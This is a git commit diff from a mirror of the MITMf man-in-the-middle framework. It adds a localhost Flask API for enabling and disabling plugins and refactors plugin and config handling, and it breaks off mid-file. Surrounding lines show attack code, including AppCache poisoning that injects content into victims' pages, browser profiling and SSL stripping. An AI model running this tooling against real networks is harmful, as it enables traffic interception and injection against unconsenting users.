mirror of
https://github.com/byt3bl33d3r/MITMf.git
synced 2025-08-20 21:43:28 -07:00
initial implementation of mitmfapi, thanks @xtr4nge :D
This commit is contained in:
parent
0d8e628ec1
commit
c5ad00822b
13 changed files with 267 additions and 337 deletions
|
@ -14,6 +14,11 @@ class ConfigWatcher(FileSystemEventHandler):
|
||||||
_instance = None
|
_instance = None
|
||||||
config = ConfigObj("./config/mitmf.conf")
|
config = ConfigObj("./config/mitmf.conf")
|
||||||
|
|
||||||
|
def __init__(self):
|
||||||
|
observer = Observer()
|
||||||
|
observer.schedule(self, path='./config', recursive=False)
|
||||||
|
observer.start()
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def getInstance():
|
def getInstance():
|
||||||
if ConfigWatcher._instance is None:
|
if ConfigWatcher._instance is None:
|
||||||
|
@ -21,11 +26,6 @@ class ConfigWatcher(FileSystemEventHandler):
|
||||||
|
|
||||||
return ConfigWatcher._instance
|
return ConfigWatcher._instance
|
||||||
|
|
||||||
def startConfigWatch(self):
|
|
||||||
observer = Observer()
|
|
||||||
observer.schedule(self, path='./config', recursive=False)
|
|
||||||
observer.start()
|
|
||||||
|
|
||||||
def getConfig(self):
|
def getConfig(self):
|
||||||
return self.config
|
return self.config
|
||||||
|
|
||||||
|
|
99
core/mitmfapi.py
Normal file
99
core/mitmfapi.py
Normal file
|
@ -0,0 +1,99 @@
|
||||||
|
#!/usr/bin/env python2.7
|
||||||
|
|
||||||
|
# Copyright (c) 2014-2016 Moxie Marlinspike, Marcello Salvati
|
||||||
|
#
|
||||||
|
# This program is free software; you can redistribute it and/or
|
||||||
|
# modify it under the terms of the GNU General Public License as
|
||||||
|
# published by the Free Software Foundation; either version 3 of the
|
||||||
|
# License, or (at your option) any later version.
|
||||||
|
#
|
||||||
|
# This program is distributed in the hope that it will be useful, but
|
||||||
|
# WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||||
|
# General Public License for more details.
|
||||||
|
#
|
||||||
|
# You should have received a copy of the GNU General Public License
|
||||||
|
# along with this program; if not, write to the Free Software
|
||||||
|
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
|
||||||
|
# USA
|
||||||
|
#
|
||||||
|
|
||||||
|
"""
|
||||||
|
|
||||||
|
Coded by @xtr4nge
|
||||||
|
|
||||||
|
"""
|
||||||
|
|
||||||
|
#import multiprocessing
|
||||||
|
import threading
|
||||||
|
import logging
|
||||||
|
import json
|
||||||
|
import sys
|
||||||
|
|
||||||
|
from flask import Flask
|
||||||
|
from core.sergioproxy.ProxyPlugins import ProxyPlugins
|
||||||
|
|
||||||
|
app = Flask(__name__)
|
||||||
|
|
||||||
|
log = logging.getLogger('werkzeug')
|
||||||
|
log.setLevel(logging.DEBUG)
|
||||||
|
|
||||||
|
class mitmfapi:
|
||||||
|
|
||||||
|
@app.route("/")
|
||||||
|
def getPlugins():
|
||||||
|
# example: http://127.0.0.1:9090/getPlugins
|
||||||
|
pdict = {}
|
||||||
|
|
||||||
|
#print ProxyPlugins.getInstance().plist
|
||||||
|
for activated_plugin in ProxyPlugins.getInstance().plist:
|
||||||
|
pdict[activated_plugin.name] = True
|
||||||
|
|
||||||
|
#print ProxyPlugins.getInstance().plist_all
|
||||||
|
for plugin in ProxyPlugins.getInstance().plist_all:
|
||||||
|
if plugin.name not in pdict:
|
||||||
|
pdict[plugin.name] = False
|
||||||
|
|
||||||
|
#print ProxyPlugins.getInstance().pmthds
|
||||||
|
|
||||||
|
return json.dumps(pdict)
|
||||||
|
|
||||||
|
@app.route("/<plugin>")
|
||||||
|
def getPluginStatus(plugin):
|
||||||
|
# example: http://127.0.0.1:9090/getPluginStatus/cachekill
|
||||||
|
for p in ProxyPlugins.getInstance().plist:
|
||||||
|
if plugin == p.name:
|
||||||
|
return json.dumps("1")
|
||||||
|
|
||||||
|
return json.dumps("0")
|
||||||
|
|
||||||
|
@app.route("/<plugin>/<status>")
|
||||||
|
def setPluginStatus(plugin, status):
|
||||||
|
# example: http://127.0.0.1:9090/setPluginStatus/cachekill/1 # enabled
|
||||||
|
# example: http://127.0.0.1:9090/setPluginStatus/cachekill/0 # disabled
|
||||||
|
if status == "1":
|
||||||
|
for p in ProxyPlugins.getInstance().plist_all:
|
||||||
|
if (p.name == plugin) and (p not in ProxyPlugins.getInstance().plist):
|
||||||
|
ProxyPlugins.getInstance().addPlugin(p)
|
||||||
|
return json.dumps({"plugin": plugin, "response": "success"})
|
||||||
|
|
||||||
|
elif status == "0":
|
||||||
|
for p in ProxyPlugins.getInstance().plist:
|
||||||
|
if p.name == plugin:
|
||||||
|
ProxyPlugins.getInstance().removePlugin(p)
|
||||||
|
return json.dumps({"plugin": plugin, "response": "success"})
|
||||||
|
|
||||||
|
return json.dumps({"plugin": plugin, "response": "failed"})
|
||||||
|
|
||||||
|
def startFlask(self, host='127.0.0.1', port=9090):
|
||||||
|
app.run(host=host, port=port)
|
||||||
|
|
||||||
|
#def start(self):
|
||||||
|
# api_thread = multiprocessing.Process(name="mitmfapi", target=self.startFlask)
|
||||||
|
# api_thread.daemon = True
|
||||||
|
# api_thread.start()
|
||||||
|
|
||||||
|
def start(self):
|
||||||
|
api_thread = threading.Thread(name='mitmfapi', target=self.startFlask)
|
||||||
|
api_thread.setDaemon(True)
|
||||||
|
api_thread.start()
|
|
@ -42,32 +42,25 @@ class ProxyPlugins:
|
||||||
in handleResponse, but is still annoying.
|
in handleResponse, but is still annoying.
|
||||||
'''
|
'''
|
||||||
_instance = None
|
_instance = None
|
||||||
|
|
||||||
plist = []
|
|
||||||
mthdDict = {"connectionMade": "clientRequest",
|
mthdDict = {"connectionMade": "clientRequest",
|
||||||
"handleStatus": "serverResponseStatus",
|
"handleStatus": "serverResponseStatus",
|
||||||
"handleResponse": "serverResponse",
|
"handleResponse": "serverResponse",
|
||||||
"handleHeader": "serverHeaders",
|
"handleHeader": "serverHeaders",
|
||||||
"handleEndHeaders":"serverHeaders"}
|
"handleEndHeaders":"serverHeaders"}
|
||||||
|
|
||||||
pmthds = {}
|
def __init__(self):
|
||||||
|
self.pmthds = {}
|
||||||
|
self.plist = []
|
||||||
|
self.plist_all = []
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def getInstance():
|
def getInstance():
|
||||||
if ProxyPlugins._instance == None:
|
if ProxyPlugins._instance is None:
|
||||||
ProxyPlugins._instance = ProxyPlugins()
|
ProxyPlugins._instance = ProxyPlugins()
|
||||||
|
|
||||||
return ProxyPlugins._instance
|
return ProxyPlugins._instance
|
||||||
|
|
||||||
def setPlugins(self, plugins):
|
def addPlugin(self, p):
|
||||||
'''Set the plugins in use'''
|
|
||||||
|
|
||||||
for p in plugins:
|
|
||||||
self.addPlugin(p)
|
|
||||||
|
|
||||||
mitmf_logger.debug("[ProxyPlugins] Loaded {} plugin/s".format(len(self.plist)))
|
|
||||||
|
|
||||||
def addPlugin(self,p):
|
|
||||||
'''Load a plugin'''
|
'''Load a plugin'''
|
||||||
self.plist.append(p)
|
self.plist.append(p)
|
||||||
mitmf_logger.debug("[ProxyPlugins] Adding {} plugin".format(p.name))
|
mitmf_logger.debug("[ProxyPlugins] Adding {} plugin".format(p.name))
|
||||||
|
@ -77,12 +70,12 @@ class ProxyPlugins:
|
||||||
except KeyError:
|
except KeyError:
|
||||||
self.pmthds[mthd] = [getattr(p,pmthd)]
|
self.pmthds[mthd] = [getattr(p,pmthd)]
|
||||||
|
|
||||||
def removePlugin(self,p):
|
def removePlugin(self, p):
|
||||||
'''Unload a plugin'''
|
'''Unload a plugin'''
|
||||||
self.plist.remove(p)
|
self.plist.remove(p)
|
||||||
mitmf_logger.debug("[ProxyPlugins] Removing {} plugin".format(p.name))
|
mitmf_logger.debug("[ProxyPlugins] Removing {} plugin".format(p.name))
|
||||||
for mthd,pmthd in self.mthdDict.iteritems():
|
for mthd,pmthd in self.mthdDict.iteritems():
|
||||||
self.pmthds[mthd].remove(p)
|
self.pmthds[mthd].remove(getattr(p, pmthd))
|
||||||
|
|
||||||
def hook(self):
|
def hook(self):
|
||||||
'''Magic to hook various function calls in sslstrip'''
|
'''Magic to hook various function calls in sslstrip'''
|
||||||
|
|
|
@ -419,14 +419,19 @@ class DNSChef(ConfigWatcher):
|
||||||
_instance = None
|
_instance = None
|
||||||
version = "0.4"
|
version = "0.4"
|
||||||
|
|
||||||
tcp = False
|
def __init__(self):
|
||||||
ipv6 = False
|
ConfigWatcher.__init__(self)
|
||||||
hsts = False
|
|
||||||
real_records = dict()
|
self.tcp = False
|
||||||
nametodns = dict()
|
self.ipv6 = False
|
||||||
server_address = "0.0.0.0"
|
self.hsts = False
|
||||||
nameservers = ["8.8.8.8"]
|
self.real_records = dict()
|
||||||
port = 53
|
self.nametodns = dict()
|
||||||
|
self.server_address = "0.0.0.0"
|
||||||
|
self.nameservers = ["8.8.8.8"]
|
||||||
|
self.port = 53
|
||||||
|
|
||||||
|
self.onConfigChange()
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def getInstance():
|
def getInstance():
|
||||||
|
@ -472,9 +477,6 @@ class DNSChef(ConfigWatcher):
|
||||||
self.hsts = True
|
self.hsts = True
|
||||||
|
|
||||||
def start(self):
|
def start(self):
|
||||||
self.onConfigChange()
|
|
||||||
self.startConfigWatch()
|
|
||||||
|
|
||||||
try:
|
try:
|
||||||
if self.config['MITMf']['DNS']['tcp'].lower() == 'on':
|
if self.config['MITMf']['DNS']['tcp'].lower() == 'on':
|
||||||
self.startTCP()
|
self.startTCP()
|
||||||
|
|
|
@ -60,7 +60,6 @@ class ServerConnection(HTTPClient):
|
||||||
self.urlMonitor = URLMonitor.getInstance()
|
self.urlMonitor = URLMonitor.getInstance()
|
||||||
self.hsts = URLMonitor.getInstance().hsts
|
self.hsts = URLMonitor.getInstance().hsts
|
||||||
self.app = URLMonitor.getInstance().app
|
self.app = URLMonitor.getInstance().app
|
||||||
self.plugins = ProxyPlugins.getInstance()
|
|
||||||
self.isImageRequest = False
|
self.isImageRequest = False
|
||||||
self.isCompressed = False
|
self.isCompressed = False
|
||||||
self.contentLength = None
|
self.contentLength = None
|
||||||
|
@ -108,7 +107,7 @@ class ServerConnection(HTTPClient):
|
||||||
def connectionMade(self):
|
def connectionMade(self):
|
||||||
mitmf_logger.debug("[ServerConnection] HTTP connection made.")
|
mitmf_logger.debug("[ServerConnection] HTTP connection made.")
|
||||||
|
|
||||||
self.plugins.hook()
|
ProxyPlugins.getInstance().hook()
|
||||||
self.sendRequest()
|
self.sendRequest()
|
||||||
self.sendHeaders()
|
self.sendHeaders()
|
||||||
|
|
||||||
|
@ -117,7 +116,7 @@ class ServerConnection(HTTPClient):
|
||||||
|
|
||||||
def handleStatus(self, version, code, message):
|
def handleStatus(self, version, code, message):
|
||||||
|
|
||||||
values = self.plugins.hook()
|
values = ProxyPlugins.getInstance().hook()
|
||||||
|
|
||||||
version = values['version']
|
version = values['version']
|
||||||
code = values['code']
|
code = values['code']
|
||||||
|
@ -164,7 +163,7 @@ class ServerConnection(HTTPClient):
|
||||||
if self.length == 0:
|
if self.length == 0:
|
||||||
self.shutdown()
|
self.shutdown()
|
||||||
|
|
||||||
self.plugins.hook()
|
ProxyPlugins.getInstance().hook()
|
||||||
|
|
||||||
if logging.getLevelName(mitmf_logger.getEffectiveLevel()) == "DEBUG":
|
if logging.getLevelName(mitmf_logger.getEffectiveLevel()) == "DEBUG":
|
||||||
for header, value in self.client.headers.iteritems():
|
for header, value in self.client.headers.iteritems():
|
||||||
|
@ -191,7 +190,7 @@ class ServerConnection(HTTPClient):
|
||||||
data = gzip.GzipFile('', 'rb', 9, StringIO.StringIO(data)).read()
|
data = gzip.GzipFile('', 'rb', 9, StringIO.StringIO(data)).read()
|
||||||
|
|
||||||
data = self.replaceSecureLinks(data)
|
data = self.replaceSecureLinks(data)
|
||||||
data = self.plugins.hook()['data']
|
data = ProxyPlugins.getInstance().hook()['data']
|
||||||
|
|
||||||
mitmf_logger.debug("[ServerConnection] Read from server {} bytes of data".format(len(data)))
|
mitmf_logger.debug("[ServerConnection] Read from server {} bytes of data".format(len(data)))
|
||||||
|
|
||||||
|
|
96
mitmf.py
96
mitmf.py
|
@ -18,12 +18,6 @@
|
||||||
# USA
|
# USA
|
||||||
#
|
#
|
||||||
|
|
||||||
"""
|
|
||||||
|
|
||||||
[enabled | disabled] by @xtr4nge
|
|
||||||
|
|
||||||
"""
|
|
||||||
|
|
||||||
import argparse
|
import argparse
|
||||||
import sys
|
import sys
|
||||||
import os
|
import os
|
||||||
|
@ -35,17 +29,9 @@ from twisted.internet import reactor
|
||||||
from core.sslstrip.CookieCleaner import CookieCleaner
|
from core.sslstrip.CookieCleaner import CookieCleaner
|
||||||
from core.sergioproxy.ProxyPlugins import ProxyPlugins
|
from core.sergioproxy.ProxyPlugins import ProxyPlugins
|
||||||
from core.utils import Banners, SystemConfig, shutdown
|
from core.utils import Banners, SystemConfig, shutdown
|
||||||
|
from core.mitmfapi import mitmfapi
|
||||||
from plugins import *
|
from plugins import *
|
||||||
|
|
||||||
# @xtr4nge
|
|
||||||
import multiprocessing, time, signal
|
|
||||||
from flask import Flask
|
|
||||||
from configobj import ConfigObj
|
|
||||||
import json
|
|
||||||
|
|
||||||
# @xtr4nge
|
|
||||||
pluginStatus = ConfigObj("config/plugins.conf")
|
|
||||||
|
|
||||||
Banners().printBanner()
|
Banners().printBanner()
|
||||||
|
|
||||||
if os.geteuid() != 0:
|
if os.geteuid() != 0:
|
||||||
|
@ -81,6 +67,8 @@ plugins = []
|
||||||
try:
|
try:
|
||||||
for p in plugin_classes:
|
for p in plugin_classes:
|
||||||
plugins.append(p())
|
plugins.append(p())
|
||||||
|
|
||||||
|
ProxyPlugins.getInstance().plist_all = plugins
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
print "[-] Failed to load plugin class {}: {}".format(p, e)
|
print "[-] Failed to load plugin class {}: {}".format(p, e)
|
||||||
|
|
||||||
|
@ -143,10 +131,6 @@ for p in plugins:
|
||||||
#load only the plugins that have been called at the command line
|
#load only the plugins that have been called at the command line
|
||||||
if vars(args)[p.optname] is True:
|
if vars(args)[p.optname] is True:
|
||||||
|
|
||||||
# @xtr4nge
|
|
||||||
pluginStatus['plugins'][p.optname]['status'] = "enabled"
|
|
||||||
pluginStatus.write()
|
|
||||||
|
|
||||||
print "|_ {} v{}".format(p.name, p.version)
|
print "|_ {} v{}".format(p.name, p.version)
|
||||||
if p.tree_info:
|
if p.tree_info:
|
||||||
for line in xrange(0, len(p.tree_info)):
|
for line in xrange(0, len(p.tree_info)):
|
||||||
|
@ -175,13 +159,14 @@ reactor.listenTCP(args.listen, strippingFactory)
|
||||||
for p in ProxyPlugins.getInstance().plist:
|
for p in ProxyPlugins.getInstance().plist:
|
||||||
|
|
||||||
p.pluginReactor(strippingFactory) #we pass the default strippingFactory, so the plugins can use it
|
p.pluginReactor(strippingFactory) #we pass the default strippingFactory, so the plugins can use it
|
||||||
p.startConfigWatch()
|
|
||||||
|
|
||||||
if hasattr(p, 'startThread'):
|
if hasattr(p, 'startThread'):
|
||||||
t = threading.Thread(name='{}-Thread'.format(p.name), target=p.startThread)
|
t = threading.Thread(name='{}-Thread'.format(p.name), target=p.startThread)
|
||||||
t.setDaemon(True)
|
t.setDaemon(True)
|
||||||
t.start()
|
t.start()
|
||||||
|
|
||||||
|
mitmfapi().start()
|
||||||
|
|
||||||
print "|"
|
print "|"
|
||||||
print "|_ Sergio-Proxy v{} online".format(sergio_version)
|
print "|_ Sergio-Proxy v{} online".format(sergio_version)
|
||||||
print "|_ SSLstrip v{} by Moxie Marlinspike online".format(sslstrip_version)
|
print "|_ SSLstrip v{} by Moxie Marlinspike online".format(sslstrip_version)
|
||||||
|
@ -206,77 +191,8 @@ from core.servers.smb.SMBserver import SMBserver
|
||||||
print "|_ SMB server online [Mode: {}] (Impacket {}) \n".format(SMBserver.getInstance().server_type, SMBserver.getInstance().impacket_ver)
|
print "|_ SMB server online [Mode: {}] (Impacket {}) \n".format(SMBserver.getInstance().server_type, SMBserver.getInstance().impacket_ver)
|
||||||
SMBserver.getInstance().start()
|
SMBserver.getInstance().start()
|
||||||
|
|
||||||
'''
|
|
||||||
#start the reactor
|
#start the reactor
|
||||||
reactor.run()
|
reactor.run()
|
||||||
|
|
||||||
print "\n"
|
print "\n"
|
||||||
shutdown()
|
shutdown()
|
||||||
'''
|
|
||||||
|
|
||||||
# ------------------------------------
|
|
||||||
# @xtr4nge [enabled | disabled]
|
|
||||||
# ------------------------------------
|
|
||||||
app = Flask(__name__)
|
|
||||||
|
|
||||||
@app.route("/getPlugins")
|
|
||||||
def getPlugins():
|
|
||||||
# Lists all the plugins supporting [enabled|disabled] (check: config/plugins.conf)
|
|
||||||
# example: http://127.0.0.1:9090/getPlugins
|
|
||||||
pluginList = {"cachekill", "screen", "browserprofiler", "appoison", "replace", "smbtrap", "upsidedownternet"}
|
|
||||||
|
|
||||||
data = {}
|
|
||||||
for item in pluginList:
|
|
||||||
data[item] = [pluginStatus['plugins'][item]['status']]
|
|
||||||
|
|
||||||
return json.dumps(data)
|
|
||||||
|
|
||||||
@app.route("/getPluginStatus/<plugin>")
|
|
||||||
def getPluginStatus(plugin):
|
|
||||||
# example: http://127.0.0.1:9090/getPluginStatus/cachekill
|
|
||||||
return pluginStatus['plugins'][plugin]['status']
|
|
||||||
|
|
||||||
@app.route("/setPluginStatus/<plugin>/<status>")
|
|
||||||
def setPluginStatus(plugin, status):
|
|
||||||
# example: http://127.0.0.1:9090/setPluginStatus/cachekill/1 # enabled
|
|
||||||
# example: http://127.0.0.1:9090/setPluginStatus/cachekill/0 # disabled
|
|
||||||
if status == "1":
|
|
||||||
pluginStatus['plugins'][plugin]['status'] = "enabled"
|
|
||||||
pluginStatus.write()
|
|
||||||
elif status == "0":
|
|
||||||
pluginStatus['plugins'][plugin]['status'] = "disabled"
|
|
||||||
pluginStatus.write()
|
|
||||||
|
|
||||||
return getPluginStatus(plugin)
|
|
||||||
|
|
||||||
# @xtr4nge
|
|
||||||
def startFlask():
|
|
||||||
app.run(host='127.0.0.1', port=9090)
|
|
||||||
|
|
||||||
# @xtr4nge
|
|
||||||
def startCore():
|
|
||||||
#start the reactor
|
|
||||||
reactor.run()
|
|
||||||
|
|
||||||
# @xtr4nge
|
|
||||||
try:
|
|
||||||
pool = {}
|
|
||||||
pool[0] = multiprocessing.Process(name="core", target=startCore)
|
|
||||||
pool[1] = multiprocessing.Process(name="api", target=startFlask)
|
|
||||||
pool[0].start()
|
|
||||||
pool[1].start()
|
|
||||||
|
|
||||||
while True:
|
|
||||||
pass
|
|
||||||
|
|
||||||
except KeyboardInterrupt:
|
|
||||||
shutdown()
|
|
||||||
pool[0].terminate()
|
|
||||||
pool[1].terminate()
|
|
||||||
except Exception as e:
|
|
||||||
print e
|
|
||||||
shutdown()
|
|
||||||
pool[0].terminate()
|
|
||||||
pool[1].terminate()
|
|
||||||
finally:
|
|
||||||
print "bye ;)"
|
|
|
@ -34,8 +34,6 @@ from datetime import date
|
||||||
from plugins.plugin import Plugin
|
from plugins.plugin import Plugin
|
||||||
from core.sslstrip.URLMonitor import URLMonitor
|
from core.sslstrip.URLMonitor import URLMonitor
|
||||||
|
|
||||||
from configobj import ConfigObj
|
|
||||||
|
|
||||||
mitmf_logger = logging.getLogger("mitmf")
|
mitmf_logger = logging.getLogger("mitmf")
|
||||||
|
|
||||||
class AppCachePlugin(Plugin):
|
class AppCachePlugin(Plugin):
|
||||||
|
@ -45,14 +43,6 @@ class AppCachePlugin(Plugin):
|
||||||
version = "0.3"
|
version = "0.3"
|
||||||
has_opts = False
|
has_opts = False
|
||||||
|
|
||||||
# @xtr4nge
|
|
||||||
def getStatus(self):
|
|
||||||
self.pluginStatus = ConfigObj("config/plugins.conf")
|
|
||||||
if self.pluginStatus['plugins'][self.optname]['status'] == "enabled":
|
|
||||||
return True
|
|
||||||
else:
|
|
||||||
return False
|
|
||||||
|
|
||||||
def initialize(self, options):
|
def initialize(self, options):
|
||||||
self.options = options
|
self.options = options
|
||||||
self.mass_poisoned_browsers = []
|
self.mass_poisoned_browsers = []
|
||||||
|
@ -61,73 +51,72 @@ class AppCachePlugin(Plugin):
|
||||||
self.urlMonitor.setAppCachePoisoning()
|
self.urlMonitor.setAppCachePoisoning()
|
||||||
|
|
||||||
def serverResponse(self, response, request, data):
|
def serverResponse(self, response, request, data):
|
||||||
if self.getStatus():
|
#This code was literally copied + pasted from Koto's sslstrip fork, def need to clean this up in the near future
|
||||||
#This code was literally copied + pasted from Koto's sslstrip fork, def need to clean this up in the near future
|
|
||||||
|
self.app_config = self.config['AppCachePoison'] # so we reload the config on each request
|
||||||
self.app_config = self.config['AppCachePoison'] # so we reload the config on each request
|
url = request.client.uri
|
||||||
url = request.client.uri
|
req_headers = request.client.getAllHeaders()
|
||||||
req_headers = request.client.getAllHeaders()
|
headers = request.client.responseHeaders
|
||||||
headers = request.client.responseHeaders
|
ip = request.client.getClientIP()
|
||||||
ip = request.client.getClientIP()
|
|
||||||
|
#########################################################################
|
||||||
#########################################################################
|
|
||||||
|
if "enable_only_in_useragents" in self.app_config:
|
||||||
if "enable_only_in_useragents" in self.app_config:
|
regexp = self.app_config["enable_only_in_useragents"]
|
||||||
regexp = self.app_config["enable_only_in_useragents"]
|
if regexp and not re.search(regexp,req_headers["user-agent"]):
|
||||||
if regexp and not re.search(regexp,req_headers["user-agent"]):
|
mitmf_logger.info("{} [{}] Tampering disabled in this useragent ({})".format(ip, self.name, req_headers["user-agent"]))
|
||||||
mitmf_logger.info("{} [{}] Tampering disabled in this useragent ({})".format(ip, self.name, req_headers["user-agent"]))
|
return {'response': response, 'request': request, 'data': data}
|
||||||
return {'response': response, 'request': request, 'data': data}
|
|
||||||
|
urls = self.urlMonitor.getRedirectionSet(url)
|
||||||
urls = self.urlMonitor.getRedirectionSet(url)
|
mitmf_logger.debug("{} [{}] Got redirection set: {}".format(ip,self.name, urls))
|
||||||
mitmf_logger.debug("{} [{}] Got redirection set: {}".format(ip,self.name, urls))
|
(name,s,element,url) = self.getSectionForUrls(urls)
|
||||||
(name,s,element,url) = self.getSectionForUrls(urls)
|
|
||||||
|
if s is False:
|
||||||
if s is False:
|
data = self.tryMassPoison(url, data, headers, req_headers, ip)
|
||||||
data = self.tryMassPoison(url, data, headers, req_headers, ip)
|
return {'response': response, 'request': request, 'data': data}
|
||||||
return {'response': response, 'request': request, 'data': data}
|
|
||||||
|
mitmf_logger.info("{} [{}] Found URL {} in section {}".format(ip, self.name, url, name))
|
||||||
mitmf_logger.info("{} [{}] Found URL {} in section {}".format(ip, self.name, url, name))
|
p = self.getTemplatePrefix(s)
|
||||||
p = self.getTemplatePrefix(s)
|
|
||||||
|
if element == 'tamper':
|
||||||
if element == 'tamper':
|
mitmf_logger.info("{} [{}] Poisoning tamper URL with template {}".format(ip, self.name, p))
|
||||||
mitmf_logger.info("{} [{}] Poisoning tamper URL with template {}".format(ip, self.name, p))
|
if os.path.exists(p + '.replace'): # replace whole content
|
||||||
if os.path.exists(p + '.replace'): # replace whole content
|
f = open(p + '.replace','r')
|
||||||
f = open(p + '.replace','r')
|
data = self.decorate(f.read(), s)
|
||||||
data = self.decorate(f.read(), s)
|
f.close()
|
||||||
f.close()
|
|
||||||
|
elif os.path.exists(p + '.append'): # append file to body
|
||||||
elif os.path.exists(p + '.append'): # append file to body
|
f = open(p + '.append','r')
|
||||||
f = open(p + '.append','r')
|
appendix = self.decorate(f.read(), s)
|
||||||
appendix = self.decorate(f.read(), s)
|
f.close()
|
||||||
f.close()
|
# append to body
|
||||||
# append to body
|
data = re.sub(re.compile("</body>",re.IGNORECASE),appendix + "</body>", data)
|
||||||
data = re.sub(re.compile("</body>",re.IGNORECASE),appendix + "</body>", data)
|
|
||||||
|
# add manifest reference
|
||||||
# add manifest reference
|
data = re.sub(re.compile("<html",re.IGNORECASE),"<html manifest=\"" + self.getManifestUrl(s)+"\"", data)
|
||||||
data = re.sub(re.compile("<html",re.IGNORECASE),"<html manifest=\"" + self.getManifestUrl(s)+"\"", data)
|
|
||||||
|
elif element == "manifest":
|
||||||
elif element == "manifest":
|
mitmf_logger.info("{} [{}] Poisoning manifest URL".format(ip, self.name))
|
||||||
mitmf_logger.info("{} [{}] Poisoning manifest URL".format(ip, self.name))
|
data = self.getSpoofedManifest(url, s)
|
||||||
data = self.getSpoofedManifest(url, s)
|
headers.setRawHeaders("Content-Type", ["text/cache-manifest"])
|
||||||
headers.setRawHeaders("Content-Type", ["text/cache-manifest"])
|
|
||||||
|
elif element == "raw": # raw resource to modify, it does not have to be html
|
||||||
elif element == "raw": # raw resource to modify, it does not have to be html
|
mitmf_logger.info("{} [{}] Poisoning raw URL".format(ip, self.name))
|
||||||
mitmf_logger.info("{} [{}] Poisoning raw URL".format(ip, self.name))
|
if os.path.exists(p + '.replace'): # replace whole content
|
||||||
if os.path.exists(p + '.replace'): # replace whole content
|
f = open(p + '.replace','r')
|
||||||
f = open(p + '.replace','r')
|
data = self.decorate(f.read(), s)
|
||||||
data = self.decorate(f.read(), s)
|
f.close()
|
||||||
f.close()
|
|
||||||
|
elif os.path.exists(p + '.append'): # append file to body
|
||||||
elif os.path.exists(p + '.append'): # append file to body
|
f = open(p + '.append','r')
|
||||||
f = open(p + '.append','r')
|
appendix = self.decorate(f.read(), s)
|
||||||
appendix = self.decorate(f.read(), s)
|
f.close()
|
||||||
f.close()
|
# append to response body
|
||||||
# append to response body
|
data += appendix
|
||||||
data += appendix
|
|
||||||
|
self.cacheForFuture(headers)
|
||||||
self.cacheForFuture(headers)
|
self.removeDangerousHeaders(headers)
|
||||||
self.removeDangerousHeaders(headers)
|
return {'response': response, 'request': request, 'data': data}
|
||||||
return {'response': response, 'request': request, 'data': data}
|
|
||||||
|
|
||||||
def tryMassPoison(self, url, data, headers, req_headers, ip):
|
def tryMassPoison(self, url, data, headers, req_headers, ip):
|
||||||
browser_id = ip + req_headers.get("user-agent", "")
|
browser_id = ip + req_headers.get("user-agent", "")
|
||||||
|
|
|
@ -30,8 +30,6 @@ from pprint import pformat
|
||||||
from plugins.plugin import Plugin
|
from plugins.plugin import Plugin
|
||||||
from plugins.Inject import Inject
|
from plugins.Inject import Inject
|
||||||
|
|
||||||
from configobj import ConfigObj
|
|
||||||
|
|
||||||
mitmf_logger = logging.getLogger("mitmf")
|
mitmf_logger = logging.getLogger("mitmf")
|
||||||
|
|
||||||
class BrowserProfiler(Inject, Plugin):
|
class BrowserProfiler(Inject, Plugin):
|
||||||
|
@ -41,14 +39,6 @@ class BrowserProfiler(Inject, Plugin):
|
||||||
version = "0.3"
|
version = "0.3"
|
||||||
has_opts = False
|
has_opts = False
|
||||||
|
|
||||||
# @xtr4nge
|
|
||||||
def getStatus(self):
|
|
||||||
self.pluginStatus = ConfigObj("config/plugins.conf")
|
|
||||||
if self.pluginStatus['plugins'][self.optname]['status'] == "enabled":
|
|
||||||
return True
|
|
||||||
else:
|
|
||||||
return False
|
|
||||||
|
|
||||||
def initialize(self, options):
|
def initialize(self, options):
|
||||||
self.output = {} # so other plugins can access the results
|
self.output = {} # so other plugins can access the results
|
||||||
|
|
||||||
|
@ -63,20 +53,18 @@ class BrowserProfiler(Inject, Plugin):
|
||||||
return d
|
return d
|
||||||
|
|
||||||
def clientRequest(self, request):
|
def clientRequest(self, request):
|
||||||
if self.getStatus():
|
if 'clientprfl' in request.uri:
|
||||||
#Handle the plugin output
|
request.printPostData = False
|
||||||
if 'clientprfl' in request.uri:
|
|
||||||
request.printPostData = False
|
self.output = self.post2dict(request.postData)
|
||||||
|
self.output['ip'] = request.client.getClientIP()
|
||||||
self.output = self.post2dict(request.postData)
|
self.output['useragent'] = request.clientInfo
|
||||||
self.output['ip'] = request.client.getClientIP()
|
|
||||||
self.output['useragent'] = request.clientInfo
|
if self.output['plugin_list']:
|
||||||
|
self.output['plugin_list'] = self.output['plugin_list'].split(',')
|
||||||
if self.output['plugin_list']:
|
|
||||||
self.output['plugin_list'] = self.output['plugin_list'].split(',')
|
pretty_output = pformat(self.output)
|
||||||
|
mitmf_logger.info("{} [BrowserProfiler] Got data:\n{}".format(request.client.getClientIP(), pretty_output))
|
||||||
pretty_output = pformat(self.output)
|
|
||||||
mitmf_logger.info("{} [BrowserProfiler] Got data:\n{}".format(request.client.getClientIP(), pretty_output))
|
|
||||||
|
|
||||||
def get_payload(self):
|
def get_payload(self):
|
||||||
plugindetect = open("./core/javascript/plugindetect.js", 'r').read()
|
plugindetect = open("./core/javascript/plugindetect.js", 'r').read()
|
||||||
|
|
|
@ -27,8 +27,6 @@
|
||||||
import logging
|
import logging
|
||||||
from plugins.plugin import Plugin
|
from plugins.plugin import Plugin
|
||||||
|
|
||||||
from configobj import ConfigObj
|
|
||||||
|
|
||||||
mitmf_logger = logging.getLogger("mitmf")
|
mitmf_logger = logging.getLogger("mitmf")
|
||||||
|
|
||||||
class CacheKill(Plugin):
|
class CacheKill(Plugin):
|
||||||
|
@ -37,22 +35,13 @@ class CacheKill(Plugin):
|
||||||
desc = "Kills page caching by modifying headers"
|
desc = "Kills page caching by modifying headers"
|
||||||
version = "0.1"
|
version = "0.1"
|
||||||
|
|
||||||
# @xtr4nge
|
|
||||||
def getStatus(self):
|
|
||||||
self.pluginStatus = ConfigObj("config/plugins.conf")
|
|
||||||
if self.pluginStatus['plugins'][self.optname]['status'] == "enabled":
|
|
||||||
return True
|
|
||||||
else:
|
|
||||||
return False
|
|
||||||
|
|
||||||
def initialize(self, options):
|
def initialize(self, options):
|
||||||
